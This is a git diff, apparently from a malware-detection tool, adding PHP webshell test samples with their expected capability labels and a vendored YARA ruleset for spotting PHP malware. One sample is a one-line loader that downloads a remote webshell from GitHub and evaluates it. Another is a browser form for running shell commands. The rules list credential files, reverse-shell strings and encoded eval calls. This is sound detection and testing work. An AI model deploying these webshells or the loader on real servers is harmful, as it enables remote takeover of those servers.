'; +author(); +?> diff --git a/samples/PHP/2024.sagsooz/2024.php.simple b/samples/PHP/2024.sagsooz/2024.php.simple new file mode 100644 index 00000000..649568ef --- /dev/null +++ b/samples/PHP/2024.sagsooz/2024.php.simple @@ -0,0 +1,22 @@ +# PHP/2024.sagsooz/2024.php +3P/InQuest-VT/base64/url +3P/php-malware/dangerousphp +3P/php-malware/dodgyphp +3P/php-malware/dodgystrings +3P/signature_base/webshell/php +combo/backdoor/php +data/embedded/base64/url +data/embedded/html +encoding/base64 +evasion/base64/decode +evasion/php_no_time_limit +exec/shell_command +fs/directory/remove +fs/file/delete +fs/permission/modify +net/http/form/upload +net/http/post +net/upload +net/url/encode +ref/site/url +ref/words/password diff --git a/samples/PHP/2024.sagsooz/bestmini.php b/samples/PHP/2024.sagsooz/bestmini.php new file mode 100644 index 00000000..ff754389 --- /dev/null +++ b/samples/PHP/2024.sagsooz/bestmini.php @@ -0,0 +1 @@ +".file_get_contents("https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/2024.php"));?> diff --git a/samples/PHP/2024.sagsooz/bestmini.php.simple b/samples/PHP/2024.sagsooz/bestmini.php.simple new file mode 100644 index 00000000..e7c61ba1 --- /dev/null +++ b/samples/PHP/2024.sagsooz/bestmini.php.simple @@ -0,0 +1,6 @@ +# PHP/2024.sagsooz/bestmini.php +3P/php-malware/obfuscatedphp +3P/signature_base/webshell/php +ref/site/php +ref/site/url +techniques/code_eval diff --git a/samples/PHP/2024.tobiasGuta/webshell.php b/samples/PHP/2024.tobiasGuta/webshell.php new file mode 100644 index 00000000..94d9889e --- /dev/null +++ b/samples/PHP/2024.tobiasGuta/webshell.php @@ -0,0 +1,53 @@ + + + + + + Webshell + + + +
+ $ {$cmd}:\n\n$output\n"; + echo $formatted_output; + } + ?> +
+
+
+ +
+
+ + + diff --git a/third_party/yara/php-malware/LICENSE b/third_party/yara/php-malware/LICENSE new file mode 100644 index 00000000..65c5ca88 --- /dev/null +++ b/third_party/yara/php-malware/LICENSE @@ -0,0 +1,165 @@ + GNU LESSER GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + + This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + + 0. Additional Definitions. + + As used herein, "this License" refers to version 3 of the GNU Lesser +General Public License, and the "GNU GPL" refers to version 3 of the GNU +General Public License. + + "The Library" refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + + An "Application" is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + + A "Combined Work" is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the "Linked +Version". + + The "Minimal Corresponding Source" for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + + The "Corresponding Application Code" for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + + 1. Exception to Section 3 of the GNU GPL. + + You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + + 2. Conveying Modified Versions. + + If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + + a) under this License, provided that you make a good faith effort to + ensure that, in the event an Application does not supply the + function or data, the facility still operates, and performs + whatever part of its purpose remains meaningful, or + + b) under the GNU GPL, with none of the additional permissions of + this License applicable to that copy. + + 3. Object Code Incorporating Material from Library Header Files. + + The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + + a) Give prominent notice with each copy of the object code that the + Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the object code with a copy of the GNU GPL and this license + document. + + 4. Combined Works. + + You may convey a Combined Work under terms of your choice that, +taken together, effectively do not restrict modification of the +portions of the Library contained in the Combined Work and reverse +engineering for debugging such modifications, if you also do each of +the following: + + a) Give prominent notice with each copy of the Combined Work that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the Combined Work with a copy of the GNU GPL and this license + document. + + c) For a Combined Work that displays copyright notices during + execution, include the copyright notice for the Library among + these notices, as well as a reference directing the user to the + copies of the GNU GPL and this license document. + + d) Do one of the following: + + 0) Convey the Minimal Corresponding Source under the terms of this + License, and the Corresponding Application Code in a form + suitable for, and under terms that permit, the user to + recombine or relink the Application with a modified version of + the Linked Version to produce a modified Combined Work, in the + manner specified by section 6 of the GNU GPL for conveying + Corresponding Source. + + 1) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (a) uses at run time + a copy of the Library already present on the user's computer + system, and (b) will operate properly with a modified version + of the Library that is interface-compatible with the Linked + Version. + + e) Provide Installation Information, but only if you would otherwise + be required to provide such information under section 6 of the + GNU GPL, and only to the extent that such information is + necessary to install and execute a modified version of the + Combined Work produced by recombining or relinking the + Application with a modified version of the Linked Version. (If + you use option 4d0, the Installation Information must accompany + the Minimal Corresponding Source and Corresponding Application + Code. If you use option 4d1, you must provide the Installation + Information in the manner specified by section 6 of the GNU GPL + for conveying Corresponding Source.) + + 5. Combined Libraries. + + You may place library facilities that are a work based on the +Library side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + + a) Accompany the combined library with a copy of the same work based + on the Library, uncombined with any other library facilities, + conveyed under the terms of this License. + + b) Give prominent notice with the combined library that part of it + is a work based on the Library, and explaining where to find the + accompanying uncombined form of the same work. + + 6. Revised Versions of the GNU Lesser General Public License. + + The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + + Each version is given a distinguishing version number. If the +Library as you received it specifies that a certain numbered version +of the GNU Lesser General Public License "or any later version" +applies to it, you have the option of following the terms and +conditions either of that published version or of any later version +published by the Free Software Foundation. If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. diff --git a/third_party/yara/php-malware/RELEASE b/third_party/yara/php-malware/RELEASE new file mode 100644 index 00000000..20dce2f9 --- /dev/null +++ b/third_party/yara/php-malware/RELEASE @@ -0,0 +1 @@ +87b6d7faa4829b1e1c7c8895ef33d2b84d00b11f diff --git a/third_party/yara/php-malware/php.yar b/third_party/yara/php-malware/php.yar new file mode 100644 index 00000000..b9917db9 --- /dev/null +++ b/third_party/yara/php-malware/php.yar @@ -0,0 +1,382 @@ +/* bincapz HACK: whitelist non-PHP programs */ +private rule IsWhitelisted { + strings: + $php = " 250)) and not IsWhitelisted +} + +rule HiddenInAFile +{ + strings: + $gif = {47 49 46 38 ?? 61} // GIF8[version]a + $png = {89 50 4E 47 0D 0a 1a 0a} // \X89png\X0D\X0A\X1A\X0A + $jpeg = {FF D8 FF E0 ?? ?? 4A 46 49 46 } // https://raw.githubusercontent.com/corkami/pics/master/JPG.png + + condition: + ($gif at 0 or $png at 0 or $jpeg at 0) and (PasswordProtection or ObfuscatedPhp or DodgyPhp or DangerousPhp) and not IsWhitelisted +} + +rule CloudFlareBypass +{ + strings: + $ = "chk_jschl" + $ = "jschl_vc" + $ = "jschl_answer" + + condition: + 2 of them // Better be safe than sorry +} + +private rule IRC +{ + strings: + $ = "USER" fullword nocase + $ = "PASS" fullword nocase + $ = "PRIVMSG" fullword nocase + $ = "MODE" fullword nocase + $ = "PING" fullword nocase + $ = "PONG" fullword nocase + $ = "JOIN" fullword nocase + $ = "PART" fullword nocase + + condition: + 5 of them +} + +private rule b64 +{ + strings: + $user_agent = "SFRUUF9VU0VSX0FHRU5UCg" + $eval = "ZXZhbCg" + $system = "c3lzdGVt" + $preg_replace = "cHJlZ19yZXBsYWNl" + $exec = "ZXhlYyg" + $base64_decode = "YmFzZTY0X2RlY29kZ" + $perl_shebang = "IyEvdXNyL2Jpbi9wZXJsCg" + $cmd_exe = "Y21kLmV4ZQ" + $powershell = "cG93ZXJzaGVsbC5leGU" + + condition: + any of them +} + +private rule hex +{ + strings: + $globals = "\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53" nocase + $eval = "\\x65\\x76\\x61\\x6C\\x28" nocase + $exec = "\\x65\\x78\\x65\\x63" nocase + $system = "\\x73\\x79\\x73\\x74\\x65\\x6d" nocase + $preg_replace = "\\x70\\x72\\x65\\x67\\x5f\\x72\\x65\\x70\\x6c\\x61\\x63\\x65" nocase + $http_user_agent = "\\x48\\124\\x54\\120\\x5f\\125\\x53\\105\\x52\\137\\x41\\107\\x45\\116\\x54" nocase + $base64_decode = "\\x61\\x73\\x65\\x36\\x34\\x5f\\x64\\x65\\x63\\x6f\\x64\\x65\\x28\\x67\\x7a\\x69\\x6e\\x66\\x6c\\x61\\x74\\x65\\x28" nocase + + condition: + any of them +} + +private rule Hpack +{ + strings: + $globals = "474c4f42414c53" nocase + $eval = "6576616C28" nocase + $exec = "65786563" nocase + $system = "73797374656d" nocase + $preg_replace = "707265675f7265706c616365" nocase + $base64_decode = "61736536345f6465636f646528677a696e666c61746528" nocase + + condition: + any of them +} + +private rule strrev +{ + strings: + $globals = "slabolg" nocase fullword + $preg_replace = "ecalper_gerp" nocase fullword + $base64_decode = "edoced_46esab" nocase fullword + $gzinflate = "etalfnizg" nocase fullword + + condition: + any of them +} + + +rule SuspiciousEncoding +{ + condition: + (b64 or hex or strrev or Hpack) and not IsWhitelisted +} + +rule DodgyStrings +{ + strings: + $ = ".bash_history" + $ = /AddType\s+application\/x-httpd-(php|cgi)/ nocase + $ = /php_value\s*auto_prepend_file/ nocase + $ = /SecFilterEngine\s+Off/ nocase // disable modsec + $ = /Add(Handler|Type|OutputFilter)\s+[^\s]+\s+\.htaccess/ nocase + $ = ".mysql_history" + $ = ".ssh/authorized_keys" + $ = "/(.*)/e" // preg_replace code execution + $ = "/../../../" + $ = "/etc/passwd" + $ = "/etc/proftpd.conf" + $ = "/etc/resolv.conf" + $ = "/etc/shadow" + $ = "/etc/syslog.conf" + $ = "/proc/cpuinfo" fullword + $ = "/var/log/lastlog" + $ = "/windows/system32/" + $ = "LOAD DATA LOCAL INFILE" nocase + $ = "WScript.Shell" + $ = "WinExec" + $ = "b374k" fullword nocase + $ = "backdoor" fullword nocase + $ = /(c99|r57|fx29)shell/ + $ = "cmd.exe" fullword nocase + $ = "powershell.exe" fullword nocase + $ = /defac(ed|er|ement|ing)/ fullword nocase + $ = "evilc0ders" fullword nocase + $ = "exploit" fullword nocase + $ = "find . -type f" fullword + $ = "hashcrack" nocase + $ = "id_rsa" fullword + $ = "ipconfig" fullword nocase + $ = "kernel32.dll" fullword nocase + $ = "kingdefacer" nocase + $ = "Wireghoul" nocase fullword + $ = "LD_PRELOAD" fullword + $ = "libpcprofile" // CVE-2010-3856 local root + $ = "locus7s" nocase + $ = "ls -la" fullword + $ = "meterpreter" fullword + $ = "nc -l" fullword + $ = "netstat -an" fullword + $ = "php://" + $ = "ps -aux" fullword + $ = "rootkit" fullword nocase + $ = "slowloris" fullword nocase + $ = "suhosin" fullword + $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. + $ = /trojan (payload)?/ + $ = "uname -a" fullword + $ = "visbot" nocase fullword + $ = "warez" fullword nocase + $ = "whoami" fullword + $ = /(r[e3]v[e3]rs[e3]|w[3e]b|cmd)\s*sh[e3]ll/ nocase + $ = /-perm -0[24]000/ // find setuid files + $ = /\/bin\/(ba)?sh/ fullword + $ = /hack(ing|er|ed)/ nocase + $ = /(safe_mode|open_basedir) bypass/ nocase + $ = /xp_(execresultset|regenumkeys|cmdshell|filelist)/ + + $vbs = /language\s*=\s*vbscript/ nocase + $asp = "scripting.filesystemobject" nocase + + condition: + (IRC or 2 of them) and not IsWhitelisted +} + +rule Websites +{ + strings: + $ = "1337day.com" nocase + $ = "antichat.ru" nocase + $ = "b374k" nocase + $ = "ccteam.ru" nocase + $ = "crackfor" nocase + $ = "darkc0de" nocase + $ = "egyspider.eu" nocase + $ = "exploit-db.com" nocase + $ = "fopo.com.ar" nocase /* Free Online Php Obfuscator */ + $ = "hashchecker.com" nocase + $ = "hashkiller.com" nocase + $ = "md5crack.com" nocase + $ = "md5decrypter.com" nocase + $ = "milw0rm.com" nocase + $ = "milw00rm.com" nocase + $ = "packetstormsecurity" nocase + $ = "pentestmonkey.net" nocase + $ = "phpjiami.com" nocase + $ = "rapid7.com" nocase + $ = "securityfocus" nocase + $ = "shodan.io" nocase + $ = "github.com/b374k/b374k" nocase + $ = "mumaasp.com" nocase + + condition: + (any of them) and not IsWhitelisted +} + diff --git a/third_party/yara/update.sh b/third_party/yara/update.sh index 19ccfd6b..5818707b 100755 --- a/third_party/yara/update.sh +++ b/third_party/yara/update.sh @@ -33,6 +33,8 @@ function update_dep() { local tmpdir=$(mktemp -d) local rel="unknown" + mkdir -p "${kind}" || true + case $kind in YARAForge) rel=$(latest_github_release YARAHQ/yara-forge) @@ -46,6 +48,23 @@ function update_dep() { popd || exit 1 find "${tmpdir}" \( -name "*.yar*" -o -name "*LICENSE*" \) -print -exec cp {} "${kind}" \; ;; + php-malware) + git clone https://github.com/jvoisin/php-malware-finder.git "${tmpdir}" + pushd "${tmpdir}" || exit 1 + rel="$(git rev-parse HEAD)" + popd || exit 1 + cp "${tmpdir}/LICENSE" "${kind}" + echo '/* bincapz HACK: whitelist non-PHP programs */ +private rule IsWhitelisted { + strings: + $php = " "${tmpdir}/whitelist.yar" + + grep -hv 'include "whitelist.yar"' "${tmpdir}/whitelist.yar" "${tmpdir}/data/php.yar" > "${kind}/php.yar" + ;; threat_hunting) rel=$(latest_github_release mthcht/ThreatHunting-Keywords-yara-rules) curl -L -o "${tmpdir}/keywords.zip" "https://github.com/mthcht/ThreatHunting-Keywords-yara-rules/archive/refs/tags/${rel}.zip"